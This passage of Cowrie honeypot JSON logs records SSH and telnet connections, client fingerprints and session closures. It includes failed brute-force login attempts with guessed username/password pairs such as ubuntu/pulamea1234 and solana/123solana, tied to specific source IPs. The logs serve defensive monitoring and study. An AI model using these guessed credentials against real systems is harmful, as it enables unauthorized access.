,"ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:29.182810Z","src_ip":"152.32.130.174","session":"392c41bea9c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"passw0rd","message":"login attempt [userftp/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:30.084706Z","src_ip":"152.32.130.174","session":"392c41bea9c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:31.305877Z","src_ip":"152.32.130.174","session":"392c41bea9c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.11094689369202,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:32.076745Z","src_ip":"161.97.105.174","session":"58d9c8a27f05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.722190380096436,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:32.778696Z","src_ip":"161.97.105.174","session":"fabfc0b490a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38398,"dst_ip":"159.203.135.109","dst_port":23,"session":"6abab8e446c0","protocol":"telnet","message":"New connection: 161.97.105.174:38398 (159.203.135.109:23) [session: 6abab8e446c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:33.301528Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38406,"dst_ip":"159.203.135.109","dst_port":23,"session":"8749661a2230","protocol":"telnet","message":"New connection: 161.97.105.174:38406 (159.203.135.109:23) [session: 8749661a2230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:36.223571Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":35700,"dst_ip":"10.17.0.5","dst_port":22,"session":"38dcafc8d7a9","protocol":"ssh","message":"New connection: 202.125.94.71:35700 (10.17.0.5:22) [session: 38dcafc8d7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:36.310150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:36.314885Z","src_ip":"202.125.94.71","session":"38dcafc8d7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38412,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc6af8828280","protocol":"telnet","message":"New connection: 161.97.105.174:38412 (159.203.135.109:23) [session: bc6af8828280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:36.532280Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:36.582180Z","src_ip":"202.125.94.71","session":"38dcafc8d7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pulamea1234","message":"login attempt [ubuntu/pulamea1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:37.672802Z","src_ip":"202.125.94.71","session":"38dcafc8d7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38422,"dst_ip":"159.203.135.109","dst_port":23,"session":"69cf27dfff02","protocol":"telnet","message":"New connection: 161.97.105.174:38422 (159.203.135.109:23) [session: 69cf27dfff02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:38.253799Z"}
{"eventid":"cowrie.session.closed","duration":33.36281657218933,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:38.565063Z","src_ip":"161.97.105.174","session":"c664767c2089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:38.939492Z","src_ip":"202.125.94.71","session":"38dcafc8d7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45156,"dst_ip":"159.203.135.109","dst_port":23,"session":"e46a0471ab20","protocol":"telnet","message":"New connection: 161.97.105.174:45156 (159.203.135.109:23) [session: e46a0471ab20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:40.842364Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45164,"dst_ip":"159.203.135.109","dst_port":23,"session":"70b7f2ad8687","protocol":"telnet","message":"New connection: 161.97.105.174:45164 (159.203.135.109:23) [session: 70b7f2ad8687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:42.257270Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45168,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fd8912b9bd7","protocol":"telnet","message":"New connection: 161.97.105.174:45168 (159.203.135.109:23) [session: 8fd8912b9bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:42.706982Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45174,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ea1d5aab2aa","protocol":"telnet","message":"New connection: 161.97.105.174:45174 (159.203.135.109:23) [session: 0ea1d5aab2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:43.026601Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45188,"dst_ip":"159.203.135.109","dst_port":23,"session":"102024b9b778","protocol":"telnet","message":"New connection: 161.97.105.174:45188 (159.203.135.109:23) [session: 102024b9b778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:43.360270Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45192,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aa5f7a423ab","protocol":"telnet","message":"New connection: 161.97.105.174:45192 (159.203.135.109:23) [session: 8aa5f7a423ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:47.049358Z"}
{"eventid":"cowrie.session.closed","duration":34.48824596405029,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:48.103611Z","src_ip":"161.97.105.174","session":"8a70c8393351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.54766631126404,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:48.400120Z","src_ip":"161.97.105.174","session":"34d1d4b473a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56148,"dst_ip":"159.203.135.109","dst_port":23,"session":"83993798ba2b","protocol":"telnet","message":"New connection: 161.97.105.174:56148 (159.203.135.109:23) [session: 83993798ba2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:48.910721Z"}
{"eventid":"cowrie.session.closed","duration":33.55172657966614,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:49.963127Z","src_ip":"161.97.105.174","session":"d70b4e9b2a75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.50967812538147,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:50.400096Z","src_ip":"161.97.105.174","session":"a1800096cf95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56150,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d04ac9db34a","protocol":"telnet","message":"New connection: 161.97.105.174:56150 (159.203.135.109:23) [session: 8d04ac9db34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:50.693613Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56162,"dst_ip":"159.203.135.109","dst_port":23,"session":"e329fdc9d990","protocol":"telnet","message":"New connection: 161.97.105.174:56162 (159.203.135.109:23) [session: e329fdc9d990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:51.308029Z"}
{"eventid":"cowrie.session.closed","duration":34.11327123641968,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:52.880455Z","src_ip":"161.97.105.174","session":"0eae435322de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56176,"dst_ip":"159.203.135.109","dst_port":23,"session":"53caa5dbb720","protocol":"telnet","message":"New connection: 161.97.105.174:56176 (159.203.135.109:23) [session: 53caa5dbb720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:52.951123Z"}
{"eventid":"cowrie.session.closed","duration":32.49050307273865,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:53.655951Z","src_ip":"161.97.105.174","session":"b022df978503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56184,"dst_ip":"159.203.135.109","dst_port":23,"session":"92c805c3ed8a","protocol":"telnet","message":"New connection: 161.97.105.174:56184 (159.203.135.109:23) [session: 92c805c3ed8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:56.176138Z"}
{"eventid":"cowrie.session.closed","duration":34.557432651519775,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:57.167444Z","src_ip":"161.97.105.174","session":"6cba3097688a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.158239126205444,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:08:58.042450Z","src_ip":"161.97.105.174","session":"a97a59b311eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41366,"dst_ip":"159.203.135.109","dst_port":23,"session":"677ee0384db9","protocol":"telnet","message":"New connection: 161.97.105.174:41366 (159.203.135.109:23) [session: 677ee0384db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:04.295671Z"}
{"eventid":"cowrie.session.closed","duration":31.414876699447632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:04.716274Z","src_ip":"161.97.105.174","session":"6abab8e446c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41370,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e9e8f3ba2fd","protocol":"telnet","message":"New connection: 161.97.105.174:41370 (159.203.135.109:23) [session: 8e9e8f3ba2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:06.884952Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60898,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9852fd5da77","protocol":"telnet","message":"New connection: 161.97.105.174:60898 (159.203.135.109:23) [session: c9852fd5da77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:09.328816Z"}
{"eventid":"cowrie.session.closed","duration":32.95253396034241,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:09.484697Z","src_ip":"161.97.105.174","session":"bc6af8828280","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.3199987411499,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:09.543454Z","src_ip":"161.97.105.174","session":"8749661a2230","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55634355545044,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:11.810036Z","src_ip":"161.97.105.174","session":"69cf27dfff02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":33256,"dst_ip":"10.17.0.5","dst_port":22,"session":"012466e3f684","protocol":"ssh","message":"New connection: 200.187.71.114:33256 (10.17.0.5:22) [session: 012466e3f684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:12.296188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:12.300920Z","src_ip":"200.187.71.114","session":"012466e3f684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:12.415503Z","src_ip":"200.187.71.114","session":"012466e3f684","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"test123","message":"login attempt [testftp/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:12.904219Z","src_ip":"200.187.71.114","session":"012466e3f684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60914,"dst_ip":"159.203.135.109","dst_port":23,"session":"797f97ea93d5","protocol":"telnet","message":"New connection: 161.97.105.174:60914 (159.203.135.109:23) [session: 797f97ea93d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:13.684478Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33360,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cf8e53136b5","protocol":"ssh","message":"New connection: 193.32.162.145:33360 (10.17.0.5:22) [session: 8cf8e53136b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:13.988019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:13.993603Z","src_ip":"193.32.162.145","session":"8cf8e53136b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:14.022132Z","src_ip":"200.187.71.114","session":"012466e3f684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:14.099375Z","src_ip":"193.32.162.145","session":"8cf8e53136b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.69810891151428,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:14.540375Z","src_ip":"161.97.105.174","session":"e46a0471ab20","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123solana","message":"login attempt [solana/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:14.625245Z","src_ip":"193.32.162.145","session":"8cf8e53136b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":59884,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fad6fc97597","protocol":"ssh","message":"New connection: 154.219.100.220:59884 (10.17.0.5:22) [session: 9fad6fc97597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:15.507041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:15.513166Z","src_ip":"154.219.100.220","session":"9fad6fc97597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.29517865180969,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:15.655305Z","src_ip":"161.97.105.174","session":"102024b9b778","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:15.724005Z","src_ip":"154.219.100.220","session":"9fad6fc97597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:15.733569Z","src_ip":"193.32.162.145","session":"8cf8e53136b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.71617913246155,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:16.422982Z","src_ip":"161.97.105.174","session":"8fd8912b9bd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20838952064514,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:16.465549Z","src_ip":"161.97.105.174","session":"70b7f2ad8687","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pulamea1234","message":"login attempt [ubuntu/pulamea1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:16.589213Z","src_ip":"154.219.100.220","session":"9fad6fc97597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:09:17.804387Z","src_ip":"154.219.100.220","session":"9fad6fc97597","protocol":"ssh"}
